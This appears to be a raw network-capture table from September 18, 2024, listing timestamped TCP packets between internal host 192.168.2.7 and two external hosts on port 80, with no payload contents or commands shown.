Sep 18, 2024 14:30:08.929644108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929647923 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929647923 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929656982 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929670095 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929687977 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929687977 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929725885 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929737091 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929749012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929760933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929773092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929786921 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929797888 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929797888 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929797888 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929817915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929878950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929891109 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929903030 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929925919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929925919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929925919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929945946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929958105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929969072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929980040 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929980040 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929982901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929999113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930007935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930007935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930012941 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930052042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930052042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930052042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930165052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930177927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930191994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930202961 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930212975 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930229902 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930232048 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930246115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930258036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930269957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930279016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930279016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930279016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930283070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930298090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930341959 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930342913 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930342913 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930358887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930372000 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930388927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930408955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930408955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930433035 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930444956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930457115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930468082 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930485964 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930485964 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930485964 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930591106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930603981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930615902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930625916 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930625916 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930628061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930640936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930658102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930658102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930720091 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930732012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930742979 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930748940 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930756092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930768013 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930778980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930789948 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930793047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930793047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930804014 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930818081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930850029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930850983 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930850983 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930850983 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930862904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930932045 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930943012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930954933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930968046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.930986881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930986881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930986881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.930994034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931008101 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931020021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931030989 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931034088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931034088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931130886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931137085 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931143045 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931155920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931166887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931178093 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931189060 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931190968 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931190968 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931200981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931212902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931224108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931246042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931246042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931246042 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931251049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931291103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931293011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931293011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931304932 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931337118 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931365013 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931376934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931397915 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931410074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931423903 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931423903 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931499004 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931499004 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931503057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931516886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931529999 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931543112 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931556940 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931590080 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931596994 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931597948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931602955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931624889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931636095 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931642056 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931642056 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931648970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931719065 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931719065 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931720018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931732893 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931745052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931756973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.931802988 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931802988 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.931802988 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.936181068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936203957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936214924 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936269045 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936271906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936285019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936296940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936300039 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936311007 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936311007 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936325073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936328888 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936355114 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936414003 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936424971 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936436892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936448097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936456919 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936460018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936471939 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936476946 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936491966 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936515093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936532021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936542034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936549902 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936562061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936568975 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936573982 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936585903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936585903 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936603069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936605930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936618090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936628103 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936630011 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936640978 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936650991 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936654091 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936661959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936674118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936681986 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936686039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936697006 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936697006 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936716080 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936724901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936728954 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936741114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936748981 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936753988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936765909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936774015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936777115 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936789036 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936799049 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936800957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936815977 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936834097 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936846972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936858892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936870098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936882019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936891079 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936898947 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936912060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936914921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936927080 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936930895 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936945915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936958075 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936959028 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936969995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936980963 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.936981916 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.936991930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937004089 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937005043 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937016964 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937028885 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937043905 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937053919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937057018 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937067032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937081099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937084913 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937093973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937105894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937108994 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937118053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937136889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937150002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937175989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937210083 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937236071 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937248945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937283993 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937376022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937387943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937400103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937410116 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937417984 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937431097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937436104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937443018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937455893 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937465906 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937467098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937479973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937484026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937491894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937499046 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937504053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937515974 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937522888 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937551975 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937680960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937693119 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937705040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937737942 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937818050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937830925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937836885 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937844038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937856913 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937868118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937876940 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937885046 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937895060 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937896967 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937908888 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937910080 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937920094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937931061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.937933922 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.937966108 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.969187975 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969216108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969228029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969240904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969254971 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969268084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969280958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.969324112 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.969360113 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.977838039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977869034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977889061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977901936 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977915049 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977919102 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.977926970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977940083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.977948904 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.977952003 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978012085 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.978682995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978727102 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978740931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978782892 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.978785038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978796959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978811026 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.978811026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.978842974 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.979089022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979099989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979144096 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.979295969 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979305983 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979337931 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.979377985 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979398966 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979417086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.979418993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.979432106 CEST	80	49703	176.113.115.33	192.168.2.7
